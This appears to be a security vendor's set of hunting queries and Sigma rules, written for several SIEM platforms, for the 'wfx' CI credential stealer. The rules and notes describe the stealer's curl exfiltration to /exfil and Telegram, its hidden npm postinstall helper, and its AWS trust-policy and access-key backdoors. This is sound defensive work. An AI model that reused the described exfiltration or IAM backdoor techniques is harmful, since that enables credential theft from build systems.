| where Timestamp > ago(7d)
| where ProcessCommandLine contains "application/gzip"
| where ProcessCommandLine contains "--data-binary"
| where ProcessCommandLine matches regex @"[?&]h=[^&\s]+&l=[^&\s]+&id=[0-9]+-"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_command_line contains "application/gzip"
and action_process_image_command_line contains "--data-binary"
and action_process_image_command_line ~= "(?-i)[?&]h=[^&\s]+&l=[^&\s]+&id=[0-9]+-"
| fields _time, agent_hostname, agent_os_type, action_process_image_name,
action_process_image_command_line, actor_process_image_name, actor_process_command_line
| limit 200event.type = 'Process Creation' tgt.process.cmdline contains 'application/gzip'
tgt.process.cmdline contains '--data-binary'
tgt.process.cmdline matches:matchcase '[?&]h=[^&\\s]+&l=[^&\\s]+&id=[0-9]+-'
| columns event.time, endpoint.name, endpoint.os, src.process.name, src.process.cmdline,
tgt.process.name, tgt.process.cmdline
| limit 200| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process="*application/gzip*" Processes.process="*--data-binary*"
by Processes.dest Processes.parent_process_name Processes.process_name Processes.process
| rename "Processes.*" as *
| regex process="[?&]h=[^&\s]+&l=[^&\s]+&id=[0-9]+-"
| head 200FROM logs-endpoint.events.process-*
| WHERE process.command_line LIKE "*application/gzip*"
AND process.command_line LIKE "*--data-binary*"
AND process.command_line RLIKE """.*[?\&]h=[^\& ]+\&l=[^\& ]+\&id=[0-9]+-.*"""
| KEEP @timestamp, host.name, host.os.type, process.parent.name, process.name, process.command_line
| LIMIT 200title: Curl Posting a Gzip Archive With the wfx Stealer's h, l and id Query String
id: 11a481d9-fc91-448c-8adc-a7a0444fea6b
status: experimental
description: |
Detects curl posting a file with --data-binary and Content-Type: application/gzip to a URL
whose query holds h=<repository>&l=<label>&id=<run>-<job>-<pid>, the wfx CI stealer's
upload of its archive to an HTTP server. The query shape does not depend on the server's
address or port, and it is the same in every version read from 25 October 2026 on.
author: Mate Security
date: 2026-11-12
tags:
- attack.exfiltration
- attack.t1048.003
- attack.t1030
logsource:
category: process_creation
detection:
selection:
CommandLine|contains|all:
- 'application/gzip'
- '--data-binary'
CommandLine|re: '[?&]h=[^&\s]+&l=[^&\s]+&id=[0-9]+-'
condition: selection
falsepositives:
- Unknown
level: highSee: Attack chain · Timeline · Indicators
Finds an HTTP POST to /exfil whose query holds h=, l= and id= in that order: the stealer uploading its archive to its server. It keys on the path and query, not the server: the copies we read name four addresses and two ports.
In every copy we read that names a server: the trial copies of 25 to 29 October and the November versions pushed up to 01:14 UTC on 12 November. Copies pushed from 01:46 UTC send to Telegram.
Full-URL logs, allowed requests included, from a proxy, gateway, NDR sensor or firewall that sees plain HTTP from self-hosted runners, build servers and developer machines; GitHub-hosted runners never reach them. Where the method is not logged, a matching URL is returned whatever its method. The Microsoft query needs Sentinel's ASIM web-session schema.
url.original=/\/exfil\?/ // Falcon Next-Gen SIEM with proxy, gateway or NDR logs parsed to the CrowdStrike Parsing Standard (ECS fields). | url.original=/^(([A-Za-z]+:\/\/)?[^\/?]+)?\/exfil\?(.*&)?h=[^&]+&l=[^&]+&id=[0-9]+-[^&]+-[0-9]+(&|$)/ | http.request.method=/^post$/i or http.request.method!=* | table([@timestamp, #Vendor, source.ip, destination.ip, destination.port, http.request.method, url.original]) | head(200)
// Microsoft Sentinel with proxy, gateway or NDR logs normalised to the ASIM web-session schema.
// HTTPsession keeps sessions seen in transit and leaves out web servers' own logs.
_Im_WebSession(starttime=ago(7d))
| where EventType =~ "HTTPsession"
| where Url contains "/exfil"
| where Url matches regex @"^(([A-Za-z]+://)?[^/?]+)?/exfil\?(.*&)?h=[^&]+&l=[^&]+&id=[0-9]+-[^&]+-[0-9]+(&|$)"
| where isempty(HttpRequestMethod) or HttpRequestMethod =~ "POST"
| project TimeGenerated, SrcIpAddr, SrcHostname, SrcUsername, DstIpAddr, DstPortNumber,
HttpRequestMethod, Url, EventProduct
| order by TimeGenerated asc
| take 200config timeframe = 7d | dataset = panw_ngfw_url_raw | filter uri contains "/exfil" | filter uri ~= "(?-i)^(([A-Za-z]+://)?[^/?]+)?/exfil\?(.*&)?h=[^&]+&l=[^&]+&id=[0-9]+-[^&]+-[0-9]+(&|$)" | filter http_method = null or http_method = "" or lowercase(http_method) = "post" | fields _time, source_ip, dest_ip, dest_port, url_domain, http_method, uri | limit 200
| tstats summariesonly=false allow_old_summaries=true count min(_time) AS first_seen max(_time) AS last_seen
values(Web.http_method) AS http_method values(Web.dest) AS dest values(Web.dest_port) AS dest_port
values(Web.user) AS user
from datamodel=Web
where earliest=-7d nodename=Web.Proxy Web.url="*/exfil*"
by Web.src Web.url
```Reads the Proxy dataset. If your NDR's HTTP records reach the Web model with the web tag only, remove nodename=Web.Proxy.```
| rename Web.* AS *
| regex url="^(([A-Za-z]+://)?[^/?]+)?/exfil\?(.*&)?h=[^&]+&l=[^&]+&id=[0-9]+-[^&]+-[0-9]+(&|$)"
| search http_method="POST" OR NOT http_method=*
| sort first_seen
| head 200FROM logs-*
| WHERE url.original RLIKE """(([A-Za-z]+://)?[^/\?]+)?/exfil\?(.*\&)?h=[^\&]+\&l=[^\&]+\&id=[0-9]+-[^\&]+-[0-9]+(\&.*)?"""
AND (http.request.method IS NULL OR http.request.method == "" OR TO_UPPER(http.request.method) == "POST")
| KEEP @timestamp, event.dataset, source.ip, destination.ip, destination.port, http.request.method,
url.original
| SORT @timestamp ASC
| LIMIT 200title: HTTP POST to /exfil With the wfx Stealer's h, l and id Query String
id: 57dc48db-59a2-4cfd-8046-c61e4dbc5087
status: experimental
description: |
Detects an HTTP POST to the path /exfil whose query holds h=<repository>&l=<label>&id=<run>-<job>-<pid>
in that order, the wfx CI stealer's upload of its gzip archive to its server. The request is plain
HTTP, so proxy or NDR logs that keep the full URL and its query string see it, whatever the server's
address or port.
author: Mate Security
date: 2026-11-12
tags:
- attack.exfiltration
- attack.t1048.003
- attack.t1030
logsource:
category: proxy
detection:
selection:
c-uri|re: '^(([A-Za-z]+://)?[^/?]+)?/exfil\?(.*&)?h=[^&]+&l=[^&]+&id=[0-9]+-[^&]+-[0-9]+(&|$)'
method_post:
cs-method: 'POST'
method_unlogged:
cs-method: null
method_empty:
cs-method: ''
condition: selection and 1 of method_*
falsepositives:
- Unknown
level: highSee: Attack chain · Timeline · Indicators
Finds a shell running sh ./.ci-<six lower-case letters or digits>.sh, the hidden helper the stealer calls from a package.json postinstall script, which npm ci and npm install with no package named both run. A project's own script with a six-letter word as its suffix (.ci-deploy.sh) also matches.
767 of the 8,070 first stealer commits we read use this form, as do 656 of the 8,208 stealer commits we read from 12 November; in every one the suffix is six lower-case letters or digits.
Process events with full command lines from Linux and macOS build servers, self-hosted runners and developer machines; expect npm or node, then a shell, as the parents. On CrowdStrike, script-written events also show the helper landing on disk, even if it never runs.
#event_simpleName=/^(ProcessRollup2|NewScriptWritten.*)$/
| case {
#event_simpleName=ProcessRollup2 CommandLine=/sh\s+\.\/\.ci-[a-z0-9]{6}\.sh/ ;
#event_simpleName=/^NewScriptWritten/ FileName=/^\.ci-[a-z0-9]{6}\.sh$/ ;
}
| table([@timestamp, ComputerName, event_platform, #event_simpleName, FileName, FilePath, CommandLine, ContextBaseFileName])
| head(200)DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine contains "./.ci-"
| where ProcessCommandLine matches regex @"sh\s+\./\.ci-[a-z0-9]{6}\.sh"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| take 200config timeframe = 7d
| dataset = xdr_data
| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_command_line contains "./.ci-"
and action_process_image_command_line ~= "(?-i)sh\s+\./\.ci-[a-z0-9]{6}\.sh"
| fields _time, agent_hostname, agent_os_type, action_process_image_name,
action_process_image_command_line, actor_process_image_name,
actor_process_command_line, causality_actor_process_image_name
| limit 200event.type = 'Process Creation' tgt.process.cmdline contains './.ci-'
tgt.process.cmdline matches:matchcase 'sh\\s+\\./\\.ci-[a-z0-9]{6}\\.sh'
| columns event.time, endpoint.name, endpoint.os, src.process.parent.name, src.process.name,
src.process.cmdline, tgt.process.name, tgt.process.cmdline
| limit 200| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
values(Processes.parent_process) as parent_process
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process="*./.ci-*"
by Processes.dest Processes.parent_process_name Processes.process_name Processes.process
| rename "Processes.*" as *
| regex process="sh\s+\./\.ci-[a-z0-9]{6}\.sh"
| head 200FROM logs-endpoint.events.process-*
| WHERE process.command_line LIKE "*./.ci-*"
AND process.command_line RLIKE """.*sh[ ]+\./\.ci-[a-z0-9]{6}\.sh.*"""
| KEEP @timestamp, host.name, host.os.type, user.name, process.parent.name,
process.parent.command_line, process.command_line
| LIMIT 200title: Shell Running a Hidden ./.ci-<suffix>.sh Helper as in the wfx npm Hook
id: 12dd52b8-e841-4cf9-aa20-79e0d7300e9e
status: experimental
description: |
Detects sh ./.ci-<six lowercase letters or digits>.sh, the hidden helper the wfx CI
stealer commits at a repository's root with a package.json script that runs it
("postinstall": "sh ./.ci-<suffix>.sh >/dev/null 2>&1; ..."). npm starts it on npm
install or npm ci through /bin/sh, so the parent is a shell under npm (node).
author: Mate Security
date: 2026-11-12
tags:
- attack.execution
- attack.t1059.004
- attack.stealth
- attack.t1564.001
- attack.initial-access
- attack.t1195.002
logsource:
category: process_creation
detection:
selection:
CommandLine|re: 'sh\s+\./\.ci-[a-z0-9]{6}\.sh'
condition: selection
falsepositives:
- A project's own hidden script whose suffix is a six-letter word, such as .ci-deploy.sh
level: highSee: Attack chain · Timeline
Finds a command line with a path segment .wfx-<digits>, wfx-scan-<digits> or wfx-<digits>.tgz: the stealer's staging folder, repository folder and archive, named after the shell's process id. Its memory search, packing and upload all carry one of them.
Unchanged in the trial copies of 25 to 29 October and all five November versions, to the latest copy we hashed (12 November, 08:08 UTC).
Process events with full command lines from Linux and macOS self-hosted runners, build servers and developer machines, short-lived processes included; GitHub-hosted runners carry no sensor of yours. The Microsoft, Cortex and SentinelOne queries also read file-creation events.
#event_simpleName=ProcessRollup2 | CommandLine=/\/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)/ | table([@timestamp, ComputerName, event_platform, ParentBaseFileName, ImageFileName, CommandLine]) | head(200)
let rx = @"/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)";
union
(DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine contains "wfx-"
| where ProcessCommandLine matches regex rx
| extend Seen = "process", Detail = ProcessCommandLine),
(DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath contains "wfx-" or FileName contains "wfx-"
| extend Path = strcat(FolderPath, "/", FileName)
| where Path matches regex rx
| extend Seen = strcat("file ", ActionType), Detail = Path)
| project Timestamp, DeviceName, Seen, Detail, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
| filter (event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
and action_process_image_command_line contains "wfx-"
and action_process_image_command_line ~= "(?-i)/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)")
or (event_type = ENUM.FILE
and action_file_path contains "wfx-"
and action_file_path ~= "(?-i)/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)")
| fields _time, agent_hostname, agent_os_type, event_type, actor_process_image_name,
actor_process_command_line, action_process_image_command_line, action_file_path
| limit 200(event.type = 'Process Creation' tgt.process.cmdline contains 'wfx-'
tgt.process.cmdline matches:matchcase '/(\\.wfx-[0-9]+|wfx-[0-9]+\\.tgz|wfx-scan-[0-9]+)')
or (event.category = 'file' tgt.file.path contains 'wfx-'
tgt.file.path matches:matchcase '/(\\.wfx-[0-9]+|wfx-[0-9]+\\.tgz|wfx-scan-[0-9]+)')
| columns event.time, endpoint.name, endpoint.os, event.type, src.process.name,
src.process.cmdline, tgt.process.cmdline, tgt.file.path
| limit 200| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process="*wfx-*"
by Processes.dest Processes.parent_process_name Processes.process_name Processes.process
| rename "Processes.*" as *
| regex process="/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)"
| head 200FROM logs-endpoint.events.process-*
| WHERE process.command_line LIKE "*wfx-*"
AND process.command_line RLIKE """.*/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+).*"""
| KEEP @timestamp, host.name, host.os.type, process.parent.name, process.name, process.command_line
| LIMIT 200title: Command Line Naming the wfx Stealer's Staging Folder, Archive or Scan Folder
id: aa93fddd-6de0-4b85-8380-ec0aa0a305d0
status: experimental
description: |
Detects a process whose command line holds /.wfx-<digits>, /wfx-<digits>.tgz or
/wfx-scan-<digits>, the names the wfx CI stealer gives its staging folder, its archive
and its repository copy, numbered with the shell's process id. The memory search
(python3 - <folder>/mem), the tar that packs the archive and its uploads carry them.
author: Mate Security
date: 2026-11-12
tags:
- attack.collection
- attack.t1074.001
- attack.t1560.001
- attack.credential-access
- attack.t1003.007
logsource:
category: process_creation
detection:
selection:
CommandLine|re: '/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)'
condition: selection
falsepositives:
- Unknown
level: high
---
title: File Written Under the wfx Stealer's Staging Folder or Archive Name
id: 5b5b4d72-e63e-427f-8b52-8a0549d02f18
status: experimental
description: |
Detects a file created or written whose path holds /.wfx-<digits>, /wfx-<digits>.tgz or
/wfx-scan-<digits>, the wfx CI stealer's staging folder, archive and repository copy.
It sees files the stealer fills through shell redirection, which no process names.
author: Mate Security
date: 2026-11-12
tags:
- attack.collection
- attack.t1074.001
- attack.t1560.001
logsource:
category: file_event
detection:
selection:
TargetFilename|re: '/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)'
condition: selection
falsepositives:
- Unknown
level: highSee: Attack chain · Timeline
Finds a command line calling the Telegram Bot API's sendDocument with a file named b<n>_<base|script>_<run>-<job>-<pid>_<part>of<total>.tgz, the name the stealer gives its archive or its parts. Copies pushed from 01:46 UTC on 12 November name no server and upload this way.
Unchanged in all three Telegram versions, in copies pushed from 01:07:50 UTC on 12 November to the latest copy we hashed (08:08 UTC); earlier versions hold no Telegram code.
Process events with full command lines from self-hosted runners, build servers and developer machines; GitHub-hosted runners carry no sensor of yours. Network logs without TLS inspection show only api.telegram.org.
Do not block: Do not block api.telegram.org for everyone, since teams use their own bots: review which hosts call sendDocument, then restrict it on build hosts that have none.
#event_simpleName=ProcessRollup2 | CommandLine=/api\.telegram\.org\/bot[^\/\s]+\/sendDocument/i | CommandLine=/filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_-]+-[0-9]+_[0-9]+of[0-9]+\.tgz/ | table([@timestamp, ComputerName, event_platform, ParentBaseFileName, ImageFileName, CommandLine]) | head(200)
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine contains "api.telegram.org/bot"
| where ProcessCommandLine contains "/sendDocument"
| where ProcessCommandLine matches regex @"filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_-]+-[0-9]+_[0-9]+of[0-9]+\.tgz"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_command_line contains "api.telegram.org/bot"
and action_process_image_command_line contains "/sendDocument"
and action_process_image_command_line ~= "(?-i)filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_-]+-[0-9]+_[0-9]+of[0-9]+\.tgz"
| fields _time, agent_hostname, agent_os_type, action_process_image_name,
action_process_image_command_line, actor_process_image_name, actor_process_command_line
| limit 200event.type = 'Process Creation' tgt.process.cmdline contains 'api.telegram.org/bot'
tgt.process.cmdline contains '/sendDocument'
tgt.process.cmdline matches:matchcase 'filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_-]+-[0-9]+_[0-9]+of[0-9]+\\.tgz'
| columns event.time, endpoint.name, endpoint.os, src.process.name, src.process.cmdline,
tgt.process.name, tgt.process.cmdline
| limit 200| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process="*api.telegram.org/bot*/sendDocument*" Processes.process="*filename=b*of*.tgz*"
by Processes.dest Processes.parent_process_name Processes.process_name Processes.process
| rename "Processes.*" as *
| regex process="filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_-]+-[0-9]+_[0-9]+of[0-9]+\.tgz"
| head 200FROM logs-endpoint.events.process-*
| WHERE process.command_line LIKE "*api.telegram.org/bot*/sendDocument*"
AND process.command_line RLIKE """.*filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_\-]+-[0-9]+_[0-9]+of[0-9]+\.tgz.*"""
| KEEP @timestamp, host.name, host.os.type, user.name, process.parent.name, process.name,
process.command_line
| LIMIT 200title: Curl Sending the wfx Stealer's Archive to Telegram Under Its Part Name
id: b4a359ef-6f03-4408-a28f-f9db32471948
status: experimental
description: |
Detects a command line that calls https://api.telegram.org/bot<token>/sendDocument and
names the file b<n>_<base|script>_<run>-<job>-<pid>_<part>of<total>.tgz, the name the
wfx CI stealer gives its archive or each part of it (n is the bot's position in its
list, then the label, the run id, the job id, the shell's process id and the part
count). Copies pushed from 01:07 UTC on 12 November 2026 carry this upload: as the
fallback until 01:14 UTC, first from 01:46 UTC and on every run from 02:03 UTC.
author: Mate Security
date: 2026-11-12
tags:
- attack.exfiltration
- attack.t1567
- attack.t1030
logsource:
category: process_creation
detection:
selection:
CommandLine|contains|all:
- 'api.telegram.org/bot'
- '/sendDocument'
CommandLine|re: 'filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_-]+-[0-9]+_[0-9]+of[0-9]+\.tgz'
condition: selection
falsepositives:
- Unknown
level: highSee: Attack chain · Timeline
Finds UpdateAssumeRolePolicy calls whose new trust policy names any AWS principal ("AWS": "*" or "Principal": "*") with no Condition, as the stealer does to the role it chains to. It keys on the change, so it holds for any operator.
The stealer's rewrite is unchanged in all five November versions, in every copy we read to 12 November (08:08 UTC); the October trial copies make no change in AWS.
CloudTrail management events from every account, in a trail covering us-east-1, where CloudTrail records IAM calls.
Do not block: Do not block iam.amazonaws.com: restore the previous trust policy, revoke the role's sessions and look for AssumeRole calls into it from accounts you do not own.
#Vendor="aws" #event.module="cloudtrail"
| event.provider="iam.amazonaws.com" event.action="UpdateAssumeRolePolicy"
| @rawstring=/\\?"AWS\\?"\s*:\s*(\[[^\]]*)?\\?"\*\\?"|\\?"Principal\\?"\s*:\s*\\?"\*\\?"|%22(AWS|Principal)%22(%20|\+)*%3A(%20|\+)*%22(\*|%2A)%22/
| @rawstring!=/Condition/
| table([@timestamp, Vendor.recipientAccountId, event.action, error.code, Vendor.userIdentity.arn,
Vendor.userIdentity.type, Vendor.requestParameters.roleName,
Vendor.requestParameters.policyDocument, source.address, user_agent.original])
| head(200)AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventSource == "iam.amazonaws.com" and EventName == "UpdateAssumeRolePolicy"
| where RequestParameters matches regex @'\\?"AWS\\?"\s*:\s*(\[[^\]]*)?\\?"\*\\?"|\\?"Principal\\?"\s*:\s*\\?"\*\\?"|%22(AWS|Principal)%22(%20|\+)*%3A(%20|\+)*%22(\*|%2A)%22'
| where RequestParameters !contains "Condition"
| extend Params = parse_json(RequestParameters)
| extend RoleName = tostring(Params.roleName), Policy = tostring(Params.policyDocument)
| project TimeGenerated, RecipientAccountId, EventName, ErrorCode, UserIdentityArn, UserIdentityType,
RoleName, Policy, SourceIpAddress, UserAgent
| sort by TimeGenerated asc
| take 500config timeframe = 7d
| dataset = amazon_aws_raw
| filter _log_type = "Cloud Audit Log" and eventSource = "iam.amazonaws.com"
and eventName = "UpdateAssumeRolePolicy"
| filter requestParameters ~= "\x5c?\x22AWS\x5c?\x22\s*:\s*(\[[^\]]*)?\x5c?\x22\*\x5c?\x22|\x5c?\x22Principal\x5c?\x22\s*:\s*\x5c?\x22\*\x5c?\x22|%22(AWS|Principal)%22(%20|\+)*%3A(%20|\+)*%22(\*|%2A)%22"
| filter requestParameters not contains "Condition"
| alter role_name = requestParameters -> roleName,
policy = requestParameters -> policyDocument,
caller_arn = userIdentity -> arn,
caller_type = userIdentity -> type
| fields _time, recipientAccountId, eventName, errorCode, caller_arn, caller_type, role_name,
policy, sourceIPAddress, userAgent
| sort asc _time
| limit 1000index=* sourcetype=aws:cloudtrail earliest=-7d eventSource="iam.amazonaws.com" eventName=UpdateAssumeRolePolicy
| where match(_raw, "\x5c?\x22AWS\x5c?\x22\s*:\s*(\[[^\]]*)?\x5c?\x22\*\x5c?\x22|\x5c?\x22Principal\x5c?\x22\s*:\s*\x5c?\x22\*\x5c?\x22|%22(AWS|Principal)%22(%20|\+)*%3A(%20|\+)*%22(\*|%2A)%22")
| where NOT like(_raw, "%Condition%")
| table _time recipientAccountId eventName errorCode userIdentity.arn userIdentity.type
requestParameters.roleName requestParameters.policyDocument sourceIPAddress userAgent
| sort 0 _time
| head 200FROM logs-aws.cloudtrail-*
| WHERE event.provider == "iam.amazonaws.com" AND event.action == "UpdateAssumeRolePolicy"
| EVAL policy_text = REPLACE(aws.cloudtrail.request_parameters, """[\s\\]""", "")
| WHERE policy_text RLIKE """.*\"(AWS|Principal)\":(\[[^\]]*)?\"\*\".*"""
OR policy_text RLIKE """.*%22(AWS|Principal)%22(%20|\+)*%3A(%20|\+)*%22(\*|%2A)%22.*"""
| WHERE NOT (policy_text LIKE "*Condition*")
| KEEP @timestamp, cloud.account.id, event.action, event.outcome, aws.cloudtrail.error_code,
aws.cloudtrail.user_identity.arn, aws.cloudtrail.user_identity.type,
aws.cloudtrail.request_parameters, source.address, user_agent.original
| SORT @timestamp ASCtitle: AWS IAM Role Trust Policy Allows Any AWS Principal
id: 795dd38f-3288-4e14-beb6-700c733b9094
status: experimental
description: |
Detects UpdateAssumeRolePolicy calls whose new trust policy names any AWS principal
("AWS": "*" or "Principal": "*") and carries no Condition, which lets any AWS account assume the role. The wfx
stealer, pushed into GitHub repositories from November 2026, rewrites the trust policy
of the role it chains to in this way. The rule keys on the change, not on the stealer.
author: Mate Security
date: 2026-11-12
tags:
- attack.persistence
- attack.privilege-escalation
- attack.t1098.003
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: iam.amazonaws.com
eventName: UpdateAssumeRolePolicy
selection_any_principal:
requestParameters.policyDocument|re: '\\?"AWS\\?"\s*:\s*(\[[^\]]*)?\\?"\*\\?"|\\?"Principal\\?"\s*:\s*\\?"\*\\?"|%22(AWS|Principal)%22(%20|\+)*%3A(%20|\+)*%22(\*|%2A)%22'
filter_condition:
requestParameters.policyDocument|contains: 'Condition'
condition: selection and selection_any_principal and not filter_condition
falsepositives:
- A role opened to any account on purpose, without a Condition
level: criticalSee: Attack chain · Timeline
Hunt: run periodically, do not alert
3 huntsFinds CreateAccessKey calls for a named IAM user from an assumed-role session, one row per session, and marks sessions that called ListUsers first. From its second version the stealer lists up to five users and asks for keys for the first two; infrastructure-as-code roles create keys too, hence a hunt.
In the second November version (from 10 November, 15:33 UTC) and every later one, in every copy we read to 12 November (08:08 UTC).
CloudTrail management events, read and write (ListUsers is a read event), in a trail covering us-east-1.
Do not block: Do not block iam.amazonaws.com: delete the keys the session created, check each user's other keys and revoke the role's sessions.
#Vendor="aws" #event.module="cloudtrail"
| event.provider="iam.amazonaws.com" event.action=/^(CreateAccessKey|ListUsers)$/
| Vendor.userIdentity.type="AssumedRole"
| case {
event.action="CreateAccessKey" Vendor.requestParameters.userName=* | key_user := Vendor.requestParameters.userName | key_time := @timestamp ;
event.action="ListUsers" | list_time := @timestamp ;
* ;
}
| groupBy([Vendor.recipientAccountId, Vendor.userIdentity.arn, Vendor.userIdentity.accessKeyId],
function=[count(key_user, as=key_requests), collect([key_user, error.code, source.address, user_agent.original]),
min(key_time, as=first_key_request), min(list_time, as=first_list_users)])
| key_requests > 0
| case {
first_list_users=* | test(first_list_users <= first_key_request) | list_users_first := "yes" ;
* | list_users_first := "no" ;
}
| minutes_from_list_users := (first_key_request - first_list_users) / 60000
| sort([list_users_first, first_key_request], type=[string, number], order=[desc, asc], limit=1000)
| head(1000)AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventSource == "iam.amazonaws.com" and EventName in ("CreateAccessKey", "ListUsers")
and UserIdentityType == "AssumedRole"
| extend TargetUser = iff(EventName == "CreateAccessKey", tostring(parse_json(RequestParameters).userName), "")
| summarize
KeyRequests = countif(isnotempty(TargetUser)),
TargetUsers = make_set_if(TargetUser, isnotempty(TargetUser)),
KeyErrors = make_set_if(ErrorCode, isnotempty(TargetUser) and isnotempty(ErrorCode)),
FirstKeyRequest = minif(TimeGenerated, isnotempty(TargetUser)),
FirstListUsers = minif(TimeGenerated, EventName == "ListUsers"),
SourceIps = make_set(SourceIpAddress, 10),
UserAgents = make_set(UserAgent, 10)
by RecipientAccountId, UserIdentityArn, UserIdentityAccessKeyId
| where KeyRequests > 0
| extend ListUsersFirst = isnotnull(FirstListUsers) and FirstListUsers <= FirstKeyRequest,
MinutesFromListUsers = datetime_diff("second", FirstKeyRequest, FirstListUsers) / 60.0
| sort by ListUsersFirst desc, FirstKeyRequest asc
| take 500config timeframe = 7d
| dataset = amazon_aws_raw
| filter _log_type = "Cloud Audit Log" and eventSource = "iam.amazonaws.com"
and eventName in ("CreateAccessKey", "ListUsers")
| alter caller_type = userIdentity -> type,
caller_arn = userIdentity -> arn,
session_key = userIdentity -> accessKeyId,
target_user = requestParameters -> userName,
event_ms = to_epoch(_time, "MILLIS")
| filter caller_type = "AssumedRole"
| alter key_user = if(eventName = "CreateAccessKey" and target_user != null and target_user != "", target_user, null),
key_ms = if(eventName = "CreateAccessKey" and target_user != null and target_user != "", event_ms, null),
list_ms = if(eventName = "ListUsers", event_ms, null)
| comp count_distinct(key_user) as target_users, values(key_user) as target_user_list,
min(key_ms) as first_key_ms, min(list_ms) as first_list_ms, values(errorCode) as errors,
values(sourceIPAddress) as source_ips, values(userAgent) as user_agents
by recipientAccountId, caller_arn, session_key
| filter target_users > 0
| alter list_users_first = if(first_list_ms != null and first_list_ms <= first_key_ms, "yes", "no"),
minutes_from_list_users = divide(subtract(first_key_ms, first_list_ms), 60000)
| sort desc list_users_first, asc first_key_ms
| limit 1000index=* sourcetype=aws:cloudtrail earliest=-7d eventSource="iam.amazonaws.com" (eventName=CreateAccessKey OR eventName=ListUsers) userIdentity.type=AssumedRole
| eval key_user=if(eventName="CreateAccessKey", 'requestParameters.userName', null()),
key_time=if(eventName="CreateAccessKey" AND isnotnull(key_user), _time, null()),
list_time=if(eventName="ListUsers", _time, null())
| stats dc(key_user) as target_users values(key_user) as target_user_list values(errorCode) as errors
min(key_time) as first_key_request min(list_time) as first_list_users
values(sourceIPAddress) as source_ips values(userAgent) as user_agents
by recipientAccountId userIdentity.arn userIdentity.accessKeyId
| where target_users > 0
| eval list_users_first=if(isnotnull(first_list_users) AND first_list_users <= first_key_request, "yes", "no"),
minutes_from_list_users=round((first_key_request - first_list_users) / 60, 1)
| sort 0 -list_users_first, +first_key_request
| convert ctime(first_key_request) ctime(first_list_users)
| head 200FROM logs-aws.cloudtrail-*
| WHERE event.provider == "iam.amazonaws.com" AND event.action IN ("CreateAccessKey", "ListUsers")
AND aws.cloudtrail.user_identity.type == "AssumedRole"
| EVAL key_user = CASE(event.action == "CreateAccessKey", user.target.name, null),
key_time = CASE(event.action == "CreateAccessKey" AND user.target.name IS NOT NULL, @timestamp, null),
list_time = CASE(event.action == "ListUsers", @timestamp, null)
| STATS target_users = COUNT_DISTINCT(key_user), target_user_list = VALUES(key_user),
first_key_request = MIN(key_time), first_list_users = MIN(list_time),
errors = VALUES(aws.cloudtrail.error_code), user_agents = VALUES(user_agent.original)
BY cloud.account.id, aws.cloudtrail.user_identity.arn, aws.cloudtrail.user_identity.access_key_id
| WHERE target_users > 0
| EVAL list_users_first = first_list_users IS NOT NULL AND first_list_users <= first_key_request,
minutes_from_list_users = DATE_DIFF("minute", first_list_users, first_key_request)
| SORT list_users_first DESC, first_key_request ASCtitle: AWS IAM Access Key Created for a Named User From an Assumed-Role Session
id: 717a5beb-dc4b-466e-afc0-152b5db31705
name: aws_iam_access_key_for_named_user_from_role_session
status: experimental
description: |
Detects CreateAccessKey calls that name an IAM user, made from an assumed-role session.
From its second version the wfx stealer, pushed into GitHub repositories from November
2026, lists IAM users from its chained role session and asks for keys for the first two.
Infrastructure-as-code roles also do this, so review rather than alert.
author: Mate Security
date: 2026-11-12
tags:
- attack.persistence
- attack.t1098.001
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: iam.amazonaws.com
eventName: CreateAccessKey
userIdentity.type: AssumedRole
filter_main_no_user:
requestParameters.userName: null
condition: selection and not 1 of filter_main_*
falsepositives:
- Infrastructure-as-code or automation roles that issue access keys for IAM users
level: medium
---
